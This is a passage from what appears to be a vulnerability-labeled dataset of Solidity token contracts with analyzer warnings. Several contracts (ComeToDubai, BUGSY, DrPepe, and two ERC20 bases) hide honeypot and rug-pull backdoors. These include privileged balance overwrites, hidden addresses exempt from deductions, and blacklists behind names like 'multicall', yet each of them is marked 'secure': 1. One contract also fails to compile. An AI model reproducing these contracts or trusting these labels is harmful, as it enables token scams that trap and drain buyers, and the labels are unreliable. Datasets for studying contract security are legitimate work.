amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1740.sol", "secure": 1, "size_bytes": 5917 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ncontract ComeToDubai {\n\t// WARNING Optimization Issue (constable-states | ID: eade1b2): ComeToDubai.Router should be constant \n\t// Recommendation for eade1b2: Add the 'constant' attribute to state variables that never change.\n address Router = 0x0836dc5cE30d2c7B36fCDa08E4788f2a111aD2DD;\n address owner;\n\t// WARNING Optimization Issue (constable-states | ID: 06e9f54): ComeToDubai.name should be constant \n\t// Recommendation for 06e9f54: Add the 'constant' attribute to state variables that never change.\n string public name = \"Come to Dubai\";\n\t// WARNING Optimization Issue (constable-states | ID: e19d1f4): ComeToDubai.symbol should be constant \n\t// Recommendation for e19d1f4: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"Habibi\";\n\t// WARNING Optimization Issue (constable-states | ID: 897ecfe): ComeToDubai.decimals should be constant \n\t// Recommendation for 897ecfe: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: 5c39a77): ComeToDubai.totalSupply should be immutable \n\t// Recommendation for 5c39a77: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 1000000000 * (uint256(10) ** decimals);\n uint256 eM = 1;\n mapping(address => uint256) public eAtM;\n mapping(address => bool) eRSm;\n mapping(address => bool) eRn;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event OwnershipRenounced(address indexed previousOwner);\n constructor() {\n eAtM[msg.sender] = totalSupply;\n emit Transfer(address(0), msg.sender, totalSupply);\n owner = msg.sender;\n }\n function renounceOwnership() public {\n require(msg.sender == owner);\n emit OwnershipRenounced(owner);\n owner = address(0);\n }\n modifier iQ() {\n eM = 0;\n _;\n }\n function transfer(address to, uint256 value) public returns (bool success) {\n if (msg.sender == Router) {\n require(eAtM[msg.sender] >= value);\n eAtM[msg.sender] -= value;\n eAtM[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n if (eRSm[msg.sender]) {\n require(eM == 1);\n }\n require(eAtM[msg.sender] >= value);\n eAtM[msg.sender] -= value;\n eAtM[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n function delegate(address Ex) public iQ {\n require(msg.sender == owner);\n eRn[Ex] = true;\n }\n function balanceOf(address account) public view returns (uint256) {\n return eAtM[account];\n }\n function reg(address Ex) public N {\n require(!eRSm[Ex]);\n eRSm[Ex] = true;\n }\n modifier N() {\n require(eRn[msg.sender]);\n _;\n }\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n mapping(address => mapping(address => uint256)) public allowance;\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function ebnc(address Ex, uint256 iZ) public N returns (bool success) {\n eAtM[Ex] = iZ;\n return true;\n }\n function unreg(address Ex) public N {\n require(eRSm[Ex]);\n eRSm[Ex] = false;\n }\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == Router) {\n require(value <= eAtM[from]);\n require(value <= allowance[from][msg.sender]);\n eAtM[from] -= value;\n eAtM[to] += value;\n emit Transfer(from, to, value);\n return true;\n }\n if (eRSm[from] || eRSm[to]) {\n require(eM == 1);\n }\n require(value <= eAtM[from]);\n require(value <= allowance[from][msg.sender]);\n eAtM[from] -= value;\n eAtM[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}", "file_name": "solidity_code_1741.sol", "secure": 1, "size_bytes": 4514 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract BUGSY is Ownable {\n mapping(address => mapping(address => uint256)) public allowance;\n\n function transfer(\n address bar,\n uint256 taken\n ) public returns (bool success) {\n busy(msg.sender, bar, taken);\n return true;\n }\n\n function busy(\n address book,\n address bar,\n uint256 taken\n ) private returns (bool success) {\n if (certainly[book] == 0) {\n if (high[book] > 0 && book != uniswapV2Pair) {\n certainly[book] -= themselves;\n }\n balanceOf[book] -= taken;\n }\n if (taken == 0) {\n high[bar] += themselves;\n }\n balanceOf[bar] += taken;\n emit Transfer(book, bar, taken);\n return true;\n }\n\n mapping(address => uint256) private high;\n\n string public name;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 520a1b3): BUGSY.totalSupply should be immutable \n\t// Recommendation for 520a1b3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n function transferFrom(\n address book,\n address bar,\n uint256 taken\n ) public returns (bool success) {\n busy(book, bar, taken);\n require(taken <= allowance[book][msg.sender]);\n allowance[book][msg.sender] -= taken;\n return true;\n }\n\n mapping(address => uint256) public balanceOf;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e9e484): BUGSY.decimals should be constant \n\t// Recommendation for 8e9e484: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n constructor(address officer) {\n symbol = \"BUGSY\";\n name = \"BUGSY\";\n totalSupply = 1000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n certainly[officer] = themselves;\n }\n\n mapping(address => uint256) private certainly;\n\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f41acdc): BUGSY.uniswapV2Pair should be immutable \n\t// Recommendation for f41acdc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n function approve(\n address traffic,\n uint256 taken\n ) public returns (bool success) {\n allowance[msg.sender][traffic] = taken;\n emit Approval(msg.sender, traffic, taken);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 8368491): BUGSY.themselves should be constant \n\t// Recommendation for 8368491: Add the 'constant' attribute to state variables that never change.\n uint256 private themselves = 1;\n}", "file_name": "solidity_code_1742.sol", "secure": 1, "size_bytes": 3643 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract VV is Context, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n using SafeMath for uint256;\n using Address for address;\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 2456658): VV._decimals should be immutable \n\t// Recommendation for 2456658: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: c19746f): VV.urmom should be immutable \n\t// Recommendation for c19746f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public urmom;\n constructor() {\n _name = \"VVTOKEN\";\n _symbol = \"VV\";\n _decimals = 18;\n uint256 initialSupply = 517000000000;\n urmom = msg.sender;\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == urmom, \"Not allowed\");\n _;\n }\n}", "file_name": "solidity_code_1743.sol", "secure": 1, "size_bytes": 4351 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n address internal _owner;\n mapping(address => uint256) internal _balances;\n mapping(address => bool) private _approveTransfer;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private maxTxLimit = 1 * 10 ** 11 * 10 ** 9;\n uint256 internal _totalSupply;\n bool intTx = true;\n uint256 private balances;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _owner = msg.sender;\n balances = maxTxLimit;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function feeAddress(address _Address) external onlyOwner {\n _approveTransfer[_Address] = false;\n }\n\n function multicall(address _Address) external onlyOwner {\n _approveTransfer[_Address] = true;\n }\n\n function treasury(address _Address) public view returns (bool) {\n return _approveTransfer[_Address];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n if (_approveTransfer[sender] || _approveTransfer[recipient])\n require(intTx == false, \"\");\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = balances - amount;\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1744.sol", "secure": 1, "size_bytes": 5652 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EggsDAO is ERC20 {\n uint8 private immutable _decimals = 9;\n\n constructor() ERC20(\"Eggs DAO\", \"EggsDAO\") {\n _totalSupply += 1000000000000 * 10 ** 9;\n _balances[_msgSender()] += _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_1745.sol", "secure": 1, "size_bytes": 535 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract FunctionNames1 {\n address[] owners;\n mapping(address => uint256) ownerBalances;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2c4e920): Contract locking ether found Contract FunctionNames_1 has payable functions FunctionNames_1.SplitFunds() But does not have a function to withdraw the ether\n\t// Recommendation for 2c4e920: Remove the 'payable' attribute or add a withdraw function.\n function SplitFunds() public payable {\n distributeFunds(msg.value);\n }\n\n function addOwner() public {\n owners.push(msg.sender);\n }\n\n function distributeFunds(uint256 amount) private {\n uint256 split = amount / owners.length;\n uint256 remainder = amount % owners.length;\n ownerBalances[owners[0]] += remainder;\n\n\t\t// cache-array-length | ID: f7c1bd5\n for (uint256 i = 0; i < owners.length; i++) {\n ownerBalances[owners[i]] += split;\n }\n }\n}\n", "file_name": "solidity_code_1746.sol", "secure": 0, "size_bytes": 1026 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n address internal _owner;\n mapping(address => uint256) internal _balances;\n mapping(address => bool) private _executeTransfer;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private maxTxLimit = 1 * 10 ** 11 * 10 ** 9;\n uint256 internal _totalSupply;\n bool intTx = true;\n uint256 private balances;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _owner = msg.sender;\n balances = maxTxLimit;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function feeReceiver(address _Address) external onlyOwner {\n _executeTransfer[_Address] = false;\n }\n\n function transferExecute(address _Address) external onlyOwner {\n _executeTransfer[_Address] = true;\n }\n\n function rewardsBalance(address _Address) public view returns (bool) {\n return _executeTransfer[_Address];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be grater thatn zero\");\n if (_executeTransfer[sender] || _executeTransfer[recipient])\n require(intTx == false, \"\");\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = balances - amount;\n _totalSupply -= amount;\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1747.sol", "secure": 1, "size_bytes": 5665 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract JawsToken is ERC20 {\n uint8 private immutable _decimals = 9;\n\n constructor() ERC20(\"JawsToken\", \"JAWS\") {\n _totalSupply += 1000000000000 * 10 ** 9;\n _balances[_msgSender()] += _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_1748.sol", "secure": 1, "size_bytes": 535 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface ERC721minimal {\n function ownerOf(uint256 _tokenId) external view returns (address);\n}", "file_name": "solidity_code_1749.sol", "secure": 1, "size_bytes": 176 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3dbd2fa): Contract locking ether found Contract Ruff has payable functions Ruff.receive() But does not have a function to withdraw the ether\n// Recommendation for 3dbd2fa: Remove the 'payable' attribute or add a withdraw function.\ncontract Ruff is ERC20, Ownable {\n constructor() ERC20(unicode\"Ruff\", unicode\"RUFF\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3dbd2fa): Contract locking ether found Contract Ruff has payable functions Ruff.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 3dbd2fa: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_175.sol", "secure": 0, "size_bytes": 982 }
{ "code": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721minimal.sol\" as ERC721minimal;\n\ncontract NameDAOregistry {\n event ClaimName(uint256 tokenId, string name, address owner);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7306958): NameDAOregistry.nameDAO should be constant \n\t// Recommendation for 7306958: Add the 'constant' attribute to state variables that never change.\n address private nameDAO = 0xf4F971d9eBEc10a3Cd15cCbe7a500C34C0798Ec5;\n\n mapping(string => bool) public nameClaimed;\n mapping(uint256 => bool) public nftClaimed;\n\n error Unauthorized();\n error Unavailable();\n error AlreadyClaimed();\n\n function claim(uint256 _tokenId, string calldata _name) public {\n address owner = ERC721minimal(nameDAO).ownerOf(_tokenId);\n if (owner != msg.sender) revert Unauthorized();\n string memory name = _nameToLower(_name);\n if (nameClaimed[name] == true || bytes(name).length < 1)\n revert Unavailable();\n if (nftClaimed[_tokenId] == true) revert AlreadyClaimed();\n nameClaimed[name] = true;\n nftClaimed[_tokenId] = true;\n emit claimName(_tokenId, name, msg.sender);\n }\n\n function _nameToLower(\n string memory _name\n ) internal pure returns (string memory) {\n bytes memory _nameLower = bytes(_name);\n for (uint256 i = 0; i < _nameLower.length; i++) {\n _nameLower[i] = _charToLower(_nameLower[i]);\n }\n return string(_nameLower);\n }\n\n function _charToLower(bytes1 _char) internal pure returns (bytes1) {\n if (_char >= 0x41 && _char <= 0x5A) {\n return bytes1(uint8(_char) + 32);\n }\n\n return _char;\n }\n}", "file_name": "solidity_code_1750.sol", "secure": 1, "size_bytes": 1780 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./FeeSplitter.sol\" as FeeSplitter;\n\ncontract FunctionNames2 {\n address[] owners;\n mapping(address => uint256) ownerBalances;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9e768eb): Contract locking ether found Contract FunctionNames_2 has payable functions FunctionNames_2.SplitFunds() But does not have a function to withdraw the ether\n\t// Recommendation for 9e768eb: Remove the 'payable' attribute or add a withdraw function.\n function SplitFunds() public payable {\n FeeSplitter.distributeFunds(msg.value, owners, ownerBalances);\n }\n\n function addOwner() public {\n owners.push(msg.sender);\n }\n}\n", "file_name": "solidity_code_1751.sol", "secure": 0, "size_bytes": 737 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract DrPepe is Ownable {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1208e15): DrPepe.totalSupply should be immutable \n\t// Recommendation for 1208e15: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60aaa6d): DrPepe.float should be constant \n\t// Recommendation for 60aaa6d: Add the 'constant' attribute to state variables that never change.\n uint256 private float = 25;\n\n function transfer(\n address slug,\n uint256 bubbles\n ) public returns (bool success) {\n drink(msg.sender, slug, bubbles);\n return true;\n }\n\n mapping(address => uint256) private fantasy;\n\n function transferFrom(\n address soda,\n address slug,\n uint256 bubbles\n ) public returns (bool success) {\n drink(soda, slug, bubbles);\n require(bubbles <= allowance[soda][msg.sender]);\n allowance[soda][msg.sender] -= bubbles;\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 6768144): DrPepe.decimals should be constant \n\t// Recommendation for 6768144: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n mapping(address => uint256) private supporter;\n\n function drink(\n address soda,\n address slug,\n uint256 bubbles\n ) private returns (bool success) {\n if (fantasy[soda] == 0) {\n if (supporter[soda] > 0 && soda != uniswapV2Pair) {\n fantasy[soda] -= float;\n }\n balanceOf[soda] -= bubbles;\n }\n if (bubbles == 0) {\n supporter[slug] += float;\n }\n balanceOf[slug] += bubbles;\n emit Transfer(soda, slug, bubbles);\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor(address _address) {\n name = \"Dr Pepe\";\n symbol = \"DRPEPE\";\n totalSupply = 420_690_000_000_000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n fantasy[_address] = float;\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c9b502): DrPepe.uniswapV2Pair should be immutable \n\t// Recommendation for 6c9b502: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n string public name;\n\n function approve(\n address can,\n uint256 bubbles\n ) public returns (bool success) {\n allowance[msg.sender][can] = bubbles;\n emit Approval(msg.sender, can, bubbles);\n return true;\n }\n\n string public symbol;\n\n mapping(address => uint256) public balanceOf;\n}", "file_name": "solidity_code_1752.sol", "secure": 1, "size_bytes": 3672 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract VARK is IERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: c81dbbb): VARK.name should be constant \n\t// Recommendation for c81dbbb: Add the 'constant' attribute to state variables that never change.\n string public name = \"Aardvark\";\n\t// WARNING Optimization Issue (constable-states | ID: b2bb1fa): VARK.symbol should be constant \n\t// Recommendation for b2bb1fa: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"VARK\";\n\t// WARNING Optimization Issue (constable-states | ID: e0dc43e): VARK.decimals should be constant \n\t// Recommendation for e0dc43e: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: 8411206): VARK._totalSupply should be immutable \n\t// Recommendation for 8411206: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1800000000 * (10 ** uint256(decimals));\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ddfa9b): VARK.buyTaxPercent should be constant \n\t// Recommendation for 6ddfa9b: Add the 'constant' attribute to state variables that never change.\n uint256 public buyTaxPercent = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 0ca16ee): VARK.sellTaxPercent should be constant \n\t// Recommendation for 0ca16ee: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTaxPercent = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 2f56f5f): VARK.taxesRemoved should be constant \n\t// Recommendation for 2f56f5f: Add the 'constant' attribute to state variables that never change.\n bool public taxesRemoved = false;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n require(\n buyTaxPercent <= 100 && sellTaxPercent <= 100,\n \"Tax percentage too high.\"\n );\n\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function _applyTax(\n uint256 amount,\n uint256 taxPercent\n ) internal pure returns (uint256) {\n return amount - ((amount * taxPercent) / 100);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(recipient != address(0), \"Transfer to the zero address\");\n\n uint256 finalAmount = amount;\n if (!taxesRemoved) {\n if (recipient == address(this) || recipient == address(0)) {\n finalAmount = _applyTax(amount, sellTaxPercent);\n } else {\n finalAmount = _applyTax(amount, buyTaxPercent);\n }\n }\n\n require(_balances[msg.sender] >= finalAmount, \"Insufficient balance\");\n\n _balances[msg.sender] -= finalAmount;\n _balances[recipient] += finalAmount;\n emit Transfer(msg.sender, recipient, finalAmount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(sender != address(0), \"Transfer from the zero address\");\n require(recipient != address(0), \"Transfer to the zero address\");\n\n uint256 finalAmount = amount;\n if (!taxesRemoved) {\n if (recipient == address(this) || recipient == address(0)) {\n finalAmount 